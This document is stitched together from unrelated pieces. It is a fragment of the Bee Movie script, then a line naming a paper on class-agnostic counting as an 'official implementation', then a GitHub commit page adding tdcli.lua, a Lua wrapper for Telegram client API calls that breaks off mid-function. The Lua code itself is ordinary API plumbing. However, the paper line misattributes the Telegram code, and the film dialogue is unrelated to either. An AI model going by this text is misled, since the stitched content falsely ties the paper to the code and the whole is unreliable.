exploded. One's bald, one's in a boat, they're both unconscious! Is that another bee joke? No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. Who's that? Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. Why not? Isn't John Travolta a pilot? Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." Get this on the air! Got it. Stand by. We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. Black and yellow! Hello! Left, right, down, hover. Hover? Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. That may have been helping me. And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! You snap out of it! Hold it! Why? Come on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. Black and yellow. Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Can you? No, nothing. It's all cloudy. Come on. You got to think bee, Barry. Thinking bee. Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. What? I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! What in the world is on the tarmac? Get some lights on that! Thinking bee! Thinking bee! Thinking bee! Vanessa, aim for the flower. OK. Cut the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! Not that flower! The other one! Which one? That flower. I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. This is insane, Barry! This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Come on, already. Barry, we did it! You taught me how to fly! Yes. No high-five! Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! Thank you. But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our Last Chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, or just Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Can I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Can I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. When will this nightmare end?! Let it all go. Beautiful day to fly. Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. Thinking bee! Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Can we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I h

This is the official implementation of: Learning to Count Anything: Reference-less Class-agnostic Counting with Weak Supervision Michael Hobley, Victor Prisacariu

Code Issues 0 Pull requests 0 Pulse MaTaDoR/ 3233fdf V 5.7 MaTaDoR @MaTaDoRTeaMMaTaDoRTeaM committed on GitHub about 1 month ago 2 changed files 2,704 additions and 0 deletions cli/tg/tdcli.lua @@ -0,0 +1,2704 @@ +--[[ + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, USA. + +]]-- + +-- Vector example form is like this: {[0] = v} or {v1, v2, v3, [0] = v} +-- If false or true crashed your telegram-cli, try to change true to 1 and false to 0 + +-- Main Bot Framework +local M = {} + +-- @chat_id = user, group, channel, and broadcast +-- @group_id = normal group +-- @channel_id = channel and broadcast +local function getChatId(chat_id) + local chat = {} + local chat_id = tostring(chat_id) + + if chat_id:match('^-100') then + local channel_id = chat_id:gsub('-100', '') + chat = {ID = channel_id, type = 'channel'} + else + local group_id = chat_id:gsub('-', '') + chat = {ID = group_id, type = 'group'} + end + + return chat +end + +local function getInputFile(file) + if file:match('/') then + infile = {ID = "InputFileLocal", path_ = file} + elseif file:match('^%d+$') then + infile = {ID = "InputFileId", id_ = file} + else + infile = {ID = "InputFilePersistentId", persistent_id_ = file} + end + + return infile +end + +-- User can send bold, italic, and monospace text uses HTML or Markdown format. +local function getParseMode(parse_mode) + if parse_mode then + local mode = parse_mode:lower() + + if mode == 'markdown' or mode == 'md' then + P = {ID = "TextParseModeMarkdown"} + elseif mode == 'html' then + P = {ID = "TextParseModeHTML"} + end + end + + return P +end + +-- Returns current authorization state, offline request +local function getAuthState(dl_cb, cmd) + tdcli_function ({ + ID = "GetAuthState", + }, dl_cb, cmd) +end + +M.getAuthState = getAuthState + +-- Sets user's phone number and sends authentication code to the user. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- If phone number is not recognized or another error has happened, returns an error. Otherwise returns authStateWaitCode +-- @phone_number User's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function setAuthPhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "SetAuthPhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.setAuthPhoneNumber = setAuthPhoneNumber + +-- Resends authentication code to the user. +-- Works only when authGetState returns authStateWaitCode and next_code_type of result is not null. +-- Returns authStateWaitCode on success +local function resendAuthCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendAuthCode", + }, dl_cb, cmd) +end + +M.resendAuthCode = resendAuthCode + +-- Checks authentication code. +-- Works only when authGetState returns authStateWaitCode. +-- Returns authStateWaitPassword or authStateOk on success +-- @code Verification code from SMS, Telegram message, voice call or flash call +-- @first_name User first name, if user is yet not registered, 1-255 characters +-- @last_name Optional user last name, if user is yet not registered, 0-255 characters +local function checkAuthCode(code, first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthCode", + code_ = code, + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.checkAuthCode = checkAuthCode + +-- Checks password for correctness. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @password Password to check +local function checkAuthPassword(password, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthPassword", + password_ = password + }, dl_cb, cmd) +end + +M.checkAuthPassword = checkAuthPassword + +-- Requests to send password recovery code to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateWaitPassword on success +local function requestAuthPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestAuthPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestAuthPasswordRecovery = requestAuthPasswordRecovery + +-- Recovers password with recovery code sent to email. +-- Works only when authGetState returns authStateWaitPassword. +-- Returns authStateOk on success +-- @recovery_code Recovery code to check +local function recoverAuthPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverAuthPassword", + recovery_code_ = recovery_code + }, dl_cb, cmd) +end + +M.recoverAuthPassword = recoverAuthPassword + +-- Logs out user. +-- If force == false, begins to perform soft log out, returns authStateLoggingOut after completion. +-- If force == true then succeeds almost immediately without cleaning anything at the server, but returns error with code 401 and description "Unauthorized" +-- @force If true, just delete all local data. Session will remain in list of active sessions +local function resetAuth(force, dl_cb, cmd) + tdcli_function ({ + ID = "ResetAuth", + force_ = force or nil + }, dl_cb, cmd) +end + +M.resetAuth = resetAuth + +-- Check bot's authentication token to log in as a bot. +-- Works only when authGetState returns authStateWaitPhoneNumber. +-- Can be used instead of setAuthPhoneNumber and checkAuthCode to log in. +-- Returns authStateOk on success +-- @token Bot token +local function checkAuthBotToken(token, dl_cb, cmd) + tdcli_function ({ + ID = "CheckAuthBotToken", + token_ = token + }, dl_cb, cmd) +end + +M.checkAuthBotToken = checkAuthBotToken + +-- Returns current state of two-step verification +local function getPasswordState(dl_cb, cmd) + tdcli_function ({ + ID = "GetPasswordState", + }, dl_cb, cmd) +end + +M.getPasswordState = getPasswordState + +-- Changes user password. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and password change will not be applied until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed +-- @old_password Old user password +-- @new_password New user password, may be empty to remove the password +-- @new_hint New password hint, can be empty +-- @set_recovery_email Pass True, if recovery email should be changed +-- @new_recovery_email New recovery email, may be empty +local function setPassword(old_password, new_password, new_hint, set_recovery_email, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetPassword", + old_password_ = old_password, + new_password_ = new_password, + new_hint_ = new_hint, + set_recovery_email_ = set_recovery_email, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setPassword = setPassword + +-- Returns set up recovery email. +-- This method can be used to verify a password provided by the user +-- @password Current user password +local function getRecoveryEmail(password, dl_cb, cmd) + tdcli_function ({ + ID = "GetRecoveryEmail", + password_ = password + }, dl_cb, cmd) +end + +M.getRecoveryEmail = getRecoveryEmail + +-- Changes user recovery email. +-- If new recovery email is specified, then error EMAIL_UNCONFIRMED is returned and email will not be changed until email confirmation. +-- Application should call getPasswordState from time to time to check if email is already confirmed. +-- If new_recovery_email coincides with the current set up email succeeds immediately and aborts all other requests waiting for email confirmation +-- @password Current user password +-- @new_recovery_email New recovery email +local function setRecoveryEmail(password, new_recovery_email, dl_cb, cmd) + tdcli_function ({ + ID = "SetRecoveryEmail", + password_ = password, + new_recovery_email_ = new_recovery_email + }, dl_cb, cmd) +end + +M.setRecoveryEmail = setRecoveryEmail + +-- Requests to send password recovery code to email +local function requestPasswordRecovery(dl_cb, cmd) + tdcli_function ({ + ID = "RequestPasswordRecovery", + }, dl_cb, cmd) +end + +M.requestPasswordRecovery = requestPasswordRecovery + +-- Recovers password with recovery code sent to email +-- @recovery_code Recovery code to check +local function recoverPassword(recovery_code, dl_cb, cmd) + tdcli_function ({ + ID = "RecoverPassword", + recovery_code_ = tostring(recovery_code) + }, dl_cb, cmd) +end + +M.recoverPassword = recoverPassword + +-- Returns current logged in user +local function getMe(dl_cb, cmd) + tdcli_function ({ + ID = "GetMe", + }, dl_cb, cmd) +end + +M.getMe = getMe + +-- Returns information about a user by its identifier, offline request if current user is not a bot +-- @user_id User identifier +local function getUser(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUser", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUser = getUser + +-- Returns full information about a user by its identifier +-- @user_id User identifier +local function getUserFull(user_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetUserFull", + user_id_ = user_id + }, dl_cb, cmd) +end + +M.getUserFull = getUserFull + +-- Returns information about a group by its identifier, offline request if current user is not a bot +-- @group_id Group identifier +local function getGroup(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroup", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroup = getGroup + +-- Returns full information about a group by its identifier +-- @group_id Group identifier +local function getGroupFull(group_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetGroupFull", + group_id_ = getChatId(group_id).ID + }, dl_cb, cmd) +end + +M.getGroupFull = getGroupFull + +-- Returns information about a channel by its identifier, offline request if current user is not a bot +-- @channel_id Channel identifier +local function getChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannel = getChannel + +-- Returns full information about a channel by its identifier, cached for at most 1 minute +-- @channel_id Channel identifier +local function getChannelFull(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChannelFull", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.getChannelFull = getChannelFull + +-- Returns information about a secret chat by its identifier, offline request +-- @secret_chat_id Secret chat identifier +local function getSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.getSecretChat = getSecretChat + +-- Returns information about a chat by its identifier, offline request if current user is not a bot +-- @chat_id Chat identifier +local function getChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChat = getChat + +-- Returns information about a message +-- @chat_id Identifier of the chat, message belongs to +-- @message_id Identifier of the message to get +local function getMessage(chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessage", + chat_id_ = chat_id, + message_id_ = message_id + }, dl_cb, cmd) +end + +M.getMessage = getMessage + +-- Returns information about messages. +-- If message is not found, returns null on the corresponding position of the result +-- @chat_id Identifier of the chat, messages belongs to +-- @message_ids Identifiers of the messages to get +local function getMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "GetMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.getMessages = getMessages + +-- Returns information about a file, offline request +-- @file_id Identifier of the file to get +local function getFile(file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFile", + file_id_ = file_id + }, dl_cb, cmd) +end + +M.getFile = getFile + +-- Returns information about a file by its persistent id, offline request +-- @persistent_file_id Persistent identifier of the file to get +local function getFilePersistent(persistent_file_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetFilePersistent", + persistent_file_id_ = persistent_file_id + }, dl_cb, cmd) +end + +M.getFilePersistent = getFilePersistent + +-- Returns list of chats in the right order, chats are sorted by (order, chat_id) in decreasing order. +-- For example, to get list of chats from the beginning, the offset_order should be equal 2^63 - 1 +-- @offset_order Chat order to return chats from +-- @offset_chat_id Chat identifier to return chats from +-- @limit Maximum number of chats to be returned +local function getChats(offset_order, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "GetChats", + offset_order_ = offset_order or 9223372036854775807, + offset_chat_id_ = offset_chat_id or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChats = getChats + +-- Searches public chat by its username. +-- Currently only private and channel chats can be public. +-- Returns chat if found, otherwise some error is returned +-- @username Username to be resolved +local function searchPublicChat(username, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChat", + username_ = username + }, dl_cb, cmd) +end + +M.searchPublicChat = searchPublicChat + +-- Searches public chats by prefix of their username. +-- Currently only private and channel (including supergroup) chats can be public. +-- Returns meaningful number of results. +-- Returns nothing if length of the searched username prefix is less than 5. +-- Excludes private chats with contacts from the results +-- @username_prefix Prefix of the username to search +local function searchPublicChats(username_prefix, dl_cb, cmd) + tdcli_function ({ + ID = "SearchPublicChats", + username_prefix_ = username_prefix + }, dl_cb, cmd) +end + +M.searchPublicChats = searchPublicChats + +-- Searches for specified query in the title and username of known chats, offline request. +-- Returns chats in the order of them in the chat list +-- @query Query to search for, if query is empty, returns up to 20 recently found chats +-- @limit Maximum number of chats to be returned +local function searchChats(query, limit, dl_cb, cmd) + if not limit or limit > 20 then + limit = 20 + end + + tdcli_function ({ + ID = "SearchChats", + query_ = query, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchChats = searchChats + +-- Adds chat to the list of recently found chats. +-- The chat is added to the beginning of the list. +-- If the chat is already in the list, at first it is removed from the list +-- @chat_id Identifier of the chat to add +local function addRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.addRecentlyFoundChat = addRecentlyFoundChat + +-- Deletes chat from the list of recently found chats +-- @chat_id Identifier of the chat to delete +local function deleteRecentlyFoundChat(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChat", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChat = deleteRecentlyFoundChat + +-- Clears list of recently found chats +local function deleteRecentlyFoundChats(dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentlyFoundChats", + }, dl_cb, cmd) +end + +M.deleteRecentlyFoundChats = deleteRecentlyFoundChats + +-- Returns list of common chats with an other given user. +-- Chats are sorted by their type and creation date +-- @user_id User identifier +-- @offset_chat_id Chat identifier to return chats from, use 0 for the first request +-- @limit Maximum number of chats to be returned, up to 100 +local function getCommonChats(user_id, offset_chat_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetCommonChats", + user_id_ = user_id, + offset_chat_id_ = offset_chat_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.getCommonChats = getCommonChats + +-- Returns messages in a chat. +-- Automatically calls openChat. +-- Returns result in reverse chronological order, i.e. in order of decreasing message.message_id +-- @chat_id Chat identifier +-- @from_message_id Identifier of the message near which we need a history, you can use 0 to get results from the beginning, i.e. from oldest to newest +-- @offset Specify 0 to get results exactly from from_message_id or negative offset to get specified message and some newer messages +-- @limit Maximum number of messages to be returned, should be positive and can't be greater than 100. +-- If offset is negative, limit must be greater than -offset. +-- There may be less than limit messages returned even the end of the history is not reached +local function getChatHistory(chat_id, from_message_id, offset, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "GetChatHistory", + chat_id_ = chat_id, + from_message_id_ = from_message_id, + offset_ = offset or 0, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChatHistory = getChatHistory + +-- Deletes all messages in the chat. +-- Can't be used for channel chats +-- @chat_id Chat identifier +-- @remove_from_chat_list Pass true, if chat should be removed from the chat list +local function deleteChatHistory(chat_id, remove_from_chat_list, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChatHistory", + chat_id_ = chat_id, + remove_from_chat_list_ = remove_from_chat_list + }, dl_cb, cmd) +end + +M.deleteChatHistory = deleteChatHistory + +-- Searches for messages with given words in the chat. +-- Returns result in reverse chronological order, i. e. in order of decreasimg message_id. +-- Doesn't work in secret chats +-- @chat_id Chat identifier to search in +-- @query Query to search for +-- @from_message_id Identifier of the message from which we need a history, you can use 0 to get results from beginning +-- @limit Maximum number of messages to be returned, can't be greater than 100 +-- @filter Filter for content of searched messages +-- filter = Empty|Animation|Audio|Document|Photo|Video|Voice|PhotoAndVideo|Url|ChatPhoto +local function searchChatMessages(chat_id, query, from_message_id, limit, filter, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchChatMessages", + chat_id_ = chat_id, + query_ = query, + from_message_id_ = from_message_id, + limit_ = limit, + filter_ = { + ID = 'SearchMessagesFilter' .. filter + }, + }, dl_cb, cmd) +end + +M.searchChatMessages = searchChatMessages + +-- Searches for messages in all chats except secret chats. Returns result in reverse chronological order, i. e. in order of decreasing (date, chat_id, message_id) +-- @query Query to search for +-- @offset_date Date of the message to search from, you can use 0 or any date in the future to get results from the beginning +-- @offset_chat_id Chat identifier of the last found message or 0 for the first request +-- @offset_message_id Message identifier of the last found message or 0 for the first request +-- @limit Maximum number of messages to be returned, can't be greater than 100 +local function searchMessages(query, offset_date, offset_chat_id, offset_message_id, limit, dl_cb, cmd) + if not limit or limit > 100 then + limit = 100 + end + + tdcli_function ({ + ID = "SearchMessages", + query_ = query, + offset_date_ = offset_date, + offset_chat_id_ = offset_chat_id, + offset_message_id_ = offset_message_id, + limit_ = limit + }, dl_cb, cmd) +end + +M.searchMessages = searchMessages + +-- Invites bot to a chat (if it is not in the chat) and send /start to it. +-- Bot can't be invited to a private chat other than chat with the bot. +-- Bots can't be invited to broadcast channel chats and secret chats. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message +-- @bot_user_id Identifier of the bot +-- @chat_id Identifier of the chat +-- @parameter Hidden parameter sent to bot for deep linking (https://api.telegram.org/bots#deep-linking) +-- parameter=start|startgroup or custom as defined by bot creator +local function sendBotStartMessage(bot_user_id, chat_id, parameter, dl_cb, cmd) + tdcli_function ({ + ID = "SendBotStartMessage", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + parameter_ = parameter + }, dl_cb, cmd) +end + +M.sendBotStartMessage = sendBotStartMessage + +-- Sends result of the inline query as a message. +-- Returns sent message. +-- UpdateChatTopMessage will not be sent, so returned message should be used to update chat top message. +-- Always clears chat draft message +-- @chat_id Chat to send message +-- @reply_to_message_id Identifier of a message to reply to or 0 +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @query_id Identifier of the inline query +-- @result_id Identifier of the inline result +local function sendInlineQueryResultMessage(chat_id, reply_to_message_id, disable_notification, from_background, query_id, result_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendInlineQueryResultMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + query_id_ = query_id, + result_id_ = result_id + }, dl_cb, cmd) +end + +M.sendInlineQueryResultMessage = sendInlineQueryResultMessage + +-- Forwards previously sent messages. +-- Returns forwarded messages in the same order as message identifiers passed in message_ids. +-- If message can't be forwarded, null will be returned instead of the message. +-- UpdateChatTopMessage will not be sent, so returned messages should be used to update chat top message +-- @chat_id Identifier of a chat to forward messages +-- @from_chat_id Identifier of a chat to forward from +-- @message_ids Identifiers of messages to forward +-- @disable_notification Pass true, to disable notification about the message, doesn't works if messages are forwarded to secret chat +-- @from_background Pass true, if the message is sent from background +local function forwardMessages(chat_id, from_chat_id, message_ids, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "ForwardMessages", + chat_id_ = chat_id, + from_chat_id_ = from_chat_id, + message_ids_ = message_ids, -- vector + disable_notification_ = disable_notification, + from_background_ = 1 + }, dl_cb, cmd) +end + +M.forwardMessages = forwardMessages + +-- Changes current ttl setting in a secret chat and sends corresponding message +-- @chat_id Chat identifier +-- @ttl New value of ttl in seconds +local function sendChatSetTtlMessage(chat_id, ttl, dl_cb, cmd) + tdcli_function ({ + ID = "SendChatSetTtlMessage", + chat_id_ = chat_id, + ttl_ = ttl + }, dl_cb, cmd) +end + +M.sendChatSetTtlMessage = sendChatSetTtlMessage + +-- Deletes messages. +-- UpdateDeleteMessages will not be sent for messages deleted through that function +-- @chat_id Chat identifier +-- @message_ids Identifiers of messages to delete +local function deleteMessages(chat_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessages", + chat_id_ = chat_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.deleteMessages = deleteMessages + +-- Deletes all messages in the chat sent by the specified user. +-- Works only in supergroup channel chats, needs appropriate privileges +-- @chat_id Chat identifier +-- @user_id User identifier +local function deleteMessagesFromUser(chat_id, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteMessagesFromUser", + chat_id_ = chat_id, + user_id_ = user_id + }, dl_cb, cmd) +end + +M.deleteMessagesFromUser = deleteMessagesFromUser + +-- Edits text of text or game message. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editMessageText(chat_id, message_id, reply_markup, text, disable_web_page_preview, parse_mode, dl_cb, cmd) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "EditMessageText", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, cmd) +end + +M.editMessageText = editMessageText + +-- Edits message content caption. +-- Non-bots can edit message in a limited period of time. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup Bots only. New message reply markup +-- @caption New message content caption, 0-200 characters +local function editMessageCaption(chat_id, message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditMessageCaption", + chat_id_ = chat_id, + message_id_ = message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageCaption = editMessageCaption + +-- Bots only. +-- Edits message reply markup. +-- Returns edited message after edit is complete server side +-- @chat_id Chat the message belongs to +-- @message_id Identifier of the message +-- @reply_markup New message reply markup +local function editMessageReplyMarkup(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editMessageReplyMarkup = editMessageReplyMarkup + +-- Bots only. +-- Edits text of an inline text or game message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @input_message_content New text content of the message. Should be of type InputMessageText +local function editInlineMessageText(inline_message_id, reply_markup, text, disable_web_page_preview, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageText", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {} + }, + }, dl_cb, cmd) +end + +M.editInlineMessageText = editInlineMessageText + +-- Bots only. +-- Edits caption of an inline message content sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +-- @caption New message content caption, 0-200 characters +local function editInlineMessageCaption(inline_message_id, reply_markup, caption, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageCaption", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup, -- reply_markup:ReplyMarkup + caption_ = caption + }, dl_cb, cmd) +end + +M.editInlineMessageCaption = editInlineMessageCaption + +-- Bots only. +-- Edits reply markup of an inline message sent via bot +-- @inline_message_id Inline message identifier +-- @reply_markup New message reply markup +local function editInlineMessageReplyMarkup(inline_message_id, reply_markup, dl_cb, cmd) + tdcli_function ({ + ID = "EditInlineMessageReplyMarkup", + inline_message_id_ = inline_message_id, + reply_markup_ = reply_markup -- reply_markup:ReplyMarkup + }, dl_cb, cmd) +end + +M.editInlineMessageReplyMarkup = editInlineMessageReplyMarkup + + +-- Sends inline query to a bot and returns its results. +-- Unavailable for bots +-- @bot_user_id Identifier of the bot send query to +-- @chat_id Identifier of the chat, where the query is sent +-- @user_location User location, only if needed +-- @query Text of the query +-- @offset Offset of the first entry to return +local function getInlineQueryResults(bot_user_id, chat_id, latitude, longitude, query, offset, dl_cb, cmd) + tdcli_function ({ + ID = "GetInlineQueryResults", + bot_user_id_ = bot_user_id, + chat_id_ = chat_id, + user_location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + query_ = query, + offset_ = offset + }, dl_cb, cmd) +end + +M.getInlineQueryResults = getInlineQueryResults + +-- Bots only. +-- Sets result of the inline query +-- @inline_query_id Identifier of the inline query +-- @is_personal Does result of the query can be cached only for specified user +-- @results Results of the query +-- @cache_time Allowed time to cache results of the query in seconds +-- @next_offset Offset for the next inline query, pass empty string if there is no more results +-- @switch_pm_text If non-empty, this text should be shown on the button, which opens private chat with the bot and sends bot start message with parameter switch_pm_parameter +-- @switch_pm_parameter Parameter for the bot start message +local function answerInlineQuery(inline_query_id, is_personal, cache_time, next_offset, switch_pm_text, switch_pm_parameter, dl_cb, cmd) + tdcli_function ({ + ID = "AnswerInlineQuery", + inline_query_id_ = inline_query_id, + is_personal_ = is_personal, + results_ = results, --vector<InputInlineQueryResult>, + cache_time_ = cache_time, + next_offset_ = next_offset, + switch_pm_text_ = switch_pm_text, + switch_pm_parameter_ = switch_pm_parameter 